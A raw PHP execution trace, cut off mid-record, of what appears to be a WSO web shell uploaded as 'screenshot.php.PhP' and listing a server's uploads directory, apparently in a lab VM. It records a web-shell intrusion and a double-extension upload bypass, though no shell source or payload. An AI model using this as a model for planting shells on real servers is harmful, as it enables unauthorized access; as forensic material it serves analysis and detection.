'.htaccess' 4 108 1 0.012967 1075936 4 108 R 0 4 109 0 0.012981 1075896 posix_getgrgid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 0 4 109 1 0.013004 1076552 4 109 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 4 110 0 0.013045 1076416 filemtime 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 1 '/var/www/html/uploads/.htaccess' 4 110 1 0.013061 1076472 4 110 R 1676256747 4 111 0 0.013075 1076376 date 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 2 'Y-m-d H:i:s' 1676256747 4 111 1 0.013107 1076704 4 111 R '2023-02-12 21:52:27' 4 112 0 0.013122 1076688 wsoPermsColor 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 648 1 '/var/www/html/uploads/.htaccess' 5 113 0 0.013136 1076688 is_readable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 354 1 '/var/www/html/uploads/.htaccess' 5 113 1 0.013153 1076728 5 113 R TRUE 5 114 0 0.013167 1076688 is_writable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 356 1 '/var/www/html/uploads/.htaccess' 5 114 1 0.013183 1076728 5 114 R FALSE 5 115 0 0.013197 1076688 fileperms 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 357 1 '/var/www/html/uploads/.htaccess' 5 115 1 0.013211 1076728 5 115 R 33188 5 116 0 0.013224 1076688 wsoPerms 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 357 1 33188 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 335 $i = '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 341 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 342 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 343 $i .= '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 344 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 345 $i .= '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 346 $i .= '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 347 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 348 $i .= '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 349 $i .= '-' 5 116 1 0.013343 1076728 5 116 R '-rw-r--r--' 4 112 1 0.013357 1076752 4 112 R '-rw-r--r--' 4 117 0 0.013374 1076752 filesize 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 649 1 '/var/www/html/uploads/.htaccess' 4 117 1 0.013388 1076792 4 117 R 64 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 651 $tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root'] 4 118 0 0.013425 1076376 is_file 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 653 1 '/var/www/html/uploads/.htaccess' 4 118 1 0.013439 1076416 4 118 R TRUE 4 119 0 0.013452 1076320 array_merge 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 654 2 ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root'] ['type' => 'file'] 4 119 1 0.013476 1076760 4 119 R ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 654 $files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 642 $i++ 4 120 0 0.013535 1077072 fileowner 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 'data' 4 120 1 0.013551 1077088 4 120 R 0 4 121 0 0.013564 1077048 posix_getpwuid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 0 4 121 1 0.013589 1077848 4 121 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 4 122 0 0.013631 1077080 filegroup 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 'data' 4 122 1 0.013649 1077120 4 122 R 0 4 123 0 0.013662 1077080 posix_getgrgid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 0 4 123 1 0.013684 1077736 4 123 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 4 124 0 0.013721 1077600 filemtime 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 1 '/var/www/html/uploads/data' 4 124 1 0.013738 1077664 4 124 R 1676256747 4 125 0 0.013751 1077568 date 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 2 'Y-m-d H:i:s' 1676256747 4 125 1 0.013783 1077896 4 125 R '2023-02-12 21:52:27' 4 126 0 0.013798 1077880 wsoPermsColor 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 648 1 '/var/www/html/uploads/data' 5 127 0 0.013813 1077880 is_readable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 354 1 '/var/www/html/uploads/data' 5 127 1 0.013829 1077920 5 127 R TRUE 5 128 0 0.013842 1077880 is_writable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 356 1 '/var/www/html/uploads/data' 5 128 1 0.013858 1077920 5 128 R TRUE 5 129 0 0.013872 1077880 fileperms 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 359 1 '/var/www/html/uploads/data' 5 129 1 0.013885 1077920 5 129 R 16895 5 130 0 0.013898 1077880 wsoPerms 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 359 1 16895 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 337 $i = 'd' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 341 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 342 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 343 $i .= 'x' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 344 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 345 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 346 $i .= 'x' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 347 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 348 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 349 $i .= 'x' 5 130 1 0.014017 1077920 5 130 R 'drwxrwxrwx' 4 126 1 0.014031 1077944 4 126 R 'drwxrwxrwx' 4 131 0 0.014048 1077944 filesize 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 649 1 '/var/www/html/uploads/data' 4 131 1 0.014062 1077984 4 131 R 4096 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 651 $tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] 4 132 0 0.014099 1077568 is_file 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 653 1 '/var/www/html/uploads/data' 4 132 1 0.014114 1077608 4 132 R FALSE 4 133 0 0.014127 1077568 is_link 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 655 1 '/var/www/html/uploads/data' 4 133 1 0.014143 1077608 4 133 R FALSE 4 134 0 0.014157 1077568 is_dir 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 657 1 '/var/www/html/uploads/data' 4 134 1 0.014171 1077608 4 134 R TRUE 4 135 0 0.014184 1077512 array_merge 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 658 2 ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] ['type' => 'dir'] 4 135 1 0.014208 1077952 4 135 R ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 658 $dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 642 $i++ 4 136 0 0.014268 1077888 fileowner 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 'prepend.php' 4 136 1 0.014288 1077912 4 136 R 0 4 137 0 0.014301 1077872 posix_getpwuid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 0 4 137 1 0.014325 1078672 4 137 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash'] 4 138 0 0.014368 1077904 filegroup 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 'prepend.php' 4 138 1 0.014382 1077944 4 138 R 0 4 139 0 0.014395 1077904 posix_getgrgid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 0 4 139 1 0.014417 1078560 4 139 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0] 4 140 0 0.014454 1078440 filemtime 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 1 '/var/www/html/uploads/prepend.php' 4 140 1 0.014471 1078504 4 140 R 1676256747 4 141 0 0.014484 1078400 date 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 2 'Y-m-d H:i:s' 1676256747 4 141 1 0.014516 1078728 4 141 R '2023-02-12 21:52:27' 4 142 0 0.014531 1078720 wsoPermsColor 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 648 1 '/var/www/html/uploads/prepend.php' 5 143 0 0.014545 1078720 is_readable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 354 1 '/var/www/html/uploads/prepend.php' 5 143 1 0.014562 1078760 5 143 R TRUE 5 144 0 0.014575 1078720 is_writable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 356 1 '/var/www/html/uploads/prepend.php' 5 144 1 0.014592 1078760 5 144 R FALSE 5 145 0 0.014605 1078720 fileperms 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 357 1 '/var/www/html/uploads/prepend.php' 5 145 1 0.014620 1078760 5 145 R 33261 5 146 0 0.014633 1078720 wsoPerms 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 357 1 33261 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 335 $i = '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 341 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 342 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 343 $i .= 'x' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 344 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 345 $i .= '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 346 $i .= 'x' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 347 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 348 $i .= '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 349 $i .= 'x' 5 146 1 0.014753 1078760 5 146 R '-rwxr-xr-x' 4 142 1 0.014768 1078784 4 142 R '-rwxr-xr-x' 4 147 0 0.014784 1078784 filesize 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 649 1 '/var/www/html/uploads/prepend.php' 4 147 1 0.014799 1078824 4 147 R 57 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 651 $tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root'] 4 148 0 0.014835 1078408 is_file 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 653 1 '/var/www/html/uploads/prepend.php' 4 148 1 0.014849 1078448 4 148 R TRUE 4 149 0 0.014863 1078344 array_merge 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 654 2 ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root'] ['type' => 'file'] 4 149 1 0.014887 1078784 4 149 R ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 654 $files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 642 $i++ 4 150 0 0.014950 1078720 fileowner 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 'screenshot.php.PhP' 4 150 1 0.014966 1078744 4 150 R 1000 4 151 0 0.014979 1078704 posix_getpwuid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 1 1000 4 151 1 0.015011 1079520 4 151 R ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 643 $ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash'] 4 152 0 0.015055 1078752 filegroup 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 'screenshot.php.PhP' 4 152 1 0.015070 1078792 4 152 R 1000 4 153 0 0.015082 1078752 posix_getgrgid 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 1 1000 4 153 1 0.015115 1079408 4 153 R ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 644 $gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000] 4 154 0 0.015152 1079320 filemtime 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 1 '/var/www/html/uploads/screenshot.php.PhP' 4 154 1 0.015168 1079384 4 154 R 1676256747 4 155 0 0.015182 1079264 date 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 647 2 'Y-m-d H:i:s' 1676256747 4 155 1 0.015214 1079592 4 155 R '2023-02-12 21:52:27' 4 156 0 0.015228 1079600 wsoPermsColor 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 648 1 '/var/www/html/uploads/screenshot.php.PhP' 5 157 0 0.015243 1079600 is_readable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 354 1 '/var/www/html/uploads/screenshot.php.PhP' 5 157 1 0.015259 1079640 5 157 R TRUE 5 158 0 0.015288 1079600 is_writable 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 356 1 '/var/www/html/uploads/screenshot.php.PhP' 5 158 1 0.015314 1079640 5 158 R FALSE 5 159 0 0.015344 1079600 fileperms 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 357 1 '/var/www/html/uploads/screenshot.php.PhP' 5 159 1 0.015359 1079640 5 159 R 33204 5 160 0 0.015372 1079600 wsoPerms 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 357 1 33204 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 335 $i = '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 341 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 342 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 343 $i .= '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 344 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 345 $i .= 'w' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 346 $i .= '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 347 $i .= 'r' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 348 $i .= '-' 5 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 349 $i .= '-' 5 160 1 0.015491 1079640 5 160 R '-rw-rw-r--' 4 156 1 0.015506 1079664 4 156 R '-rw-rw-r--' 4 161 0 0.015523 1079664 filesize 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 649 1 '/var/www/html/uploads/screenshot.php.PhP' 4 161 1 0.015537 1079704 4 161 R 101333 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 651 $tmp = ['name' => 'screenshot.php.PhP', 'path' => '/var/www/html/uploads/screenshot.php.PhP', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-rw-r--', 'size' => 101333, 'owner' => 'osboxes', 'group' => 'osboxes'] 4 162 0 0.015574 1079288 is_file 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 653 1 '/var/www/html/uploads/screenshot.php.PhP' 4 162 1 0.015589 1079328 4 162 R TRUE 4 163 0 0.015603 1079208 array_merge 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 654 2 ['name' => 'screenshot.php.PhP', 'path' => '/var/www/html/uploads/screenshot.php.PhP', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-rw-r--', 'size' => 101333, 'owner' => 'osboxes', 'group' => 'osboxes'] ['type' => 'file'] 4 163 1 0.015631 1079648 4 163 R ['name' => 'screenshot.php.PhP', 'path' => '/var/www/html/uploads/screenshot.php.PhP', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-rw-r--', 'size' => 101333, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 654 $files[] = ['name' => 'screenshot.php.PhP', 'path' => '/var/www/html/uploads/screenshot.php.PhP', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-rw-r--', 'size' => 101333, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'] 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 642 $i++ 3 A /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 660 GLOBALS['sort'] = [0 => 'name', 1 => 1] 4 164 0 0.015708 1079608 usort 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 667 2 [0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 2 => ['name' => 'screenshot.php.PhP', 'path' => '/var/www/html/uploads/screenshot.php.PhP', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-rw-r--', 'size' => 101333, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']] 'wsoCmp' 5 165 0 0.015745 1080056 wsoCmp 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 667 2 ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] 6 166 0 0.015773 1080056 strtolower 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 1 '.htaccess' 6 166 1 0.015787 1080088 6 166 R '.htaccess' 6 167 0 0.015802 1080056 strtolower 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 1 'prepend.php' 6 167 1 0.015815 1080088 6 167 R 'prepend.php' 6 168 0 0.015829 1080056 strcmp 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 2 '.htaccess' 'prepend.php' 6 168 1 0.015844 1080120 6 168 R -1 5 165 1 0.015858 1080056 5 165 R -1 5 169 0 0.015871 1080056 wsoCmp 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 667 2 ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'] ['name' => 'screenshot.php.PhP', 'path' => '/var/www/html/uploads/screenshot.php.PhP', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-rw-r--', 'size' => 101333, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'] 6 170 0 0.015899 1080056 strtolower 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 1 'prepend.php' 6 170 1 0.015913 1080088 6 170 R 'prepend.php' 6 171 0 0.015928 1080056 strtolower 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 1 'screenshot.php.PhP' 6 171 1 0.015941 1080136 6 171 R 'screenshot.php.php' 6 172 0 0.015956 1080104 strcmp 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 2 'prepend.php' 'screenshot.php.php' 6 172 1 0.015972 1080168 6 172 R -1 5 169 1 0.015986 1080056 5 169 R -1 4 164 1 0.015999 1079680 4 164 R TRUE 4 173 0 0.016012 1079632 usort 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 668 2 [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']] 'wsoCmp' 5 174 0 0.016045 1080080 wsoCmp 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 668 2 ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 6 175 0 0.016072 1080080 strtolower 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 1 '.' 6 175 1 0.016085 1080112 6 175 R '.' 6 176 0 0.016099 1080080 strtolower 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 1 '..' 6 176 1 0.016112 1080112 6 176 R '..' 6 177 0 0.016125 1080080 strcmp 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 2 '.' '..' 6 177 1 0.016139 1080144 6 177 R -1 5 174 1 0.016152 1080080 5 174 R -1 5 178 0 0.016165 1080080 wsoCmp 1 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 668 2 ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'] 6 179 0 0.016198 1080080 strtolower 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 1 '..' 6 179 1 0.016211 1080112 6 179 R '..' 6 180 0 0.016224 1080080 strtolower 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 1 'data' 6 180 1 0.016242 1080112 6 180 R 'data' 6 181 0 0.016256 1080080 strcmp 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 663 2 '..' 'data' 6 181 1 0.016269 1080144 6 181 R -3552051 5 178 1 0.016283 1080080 5 178 R -3552051 4 173 1 0.016297 1079704 4 173 R TRUE 4 182 0 0.016310 1079632 array_merge 0 /var/www/html/uploads/screenshot.php.PhP(7) : eval()'d code 669 2 [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']] [0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rwxr-xr-x', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 2 => ['name' => 'screenshot.php.PhP', 'path' => '/var/www/html/uploads/screenshot.php.PhP', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-rw-r--', 'size' => 101333, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']] 4 182 1 0.016361 1080072 4 182 R [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:52:27', 'perms' => 'drwxrwxrwx', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 3 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:52:27', 'perms' => '-rw-r--r--', 'size' => 64, 'owner' => 'root', 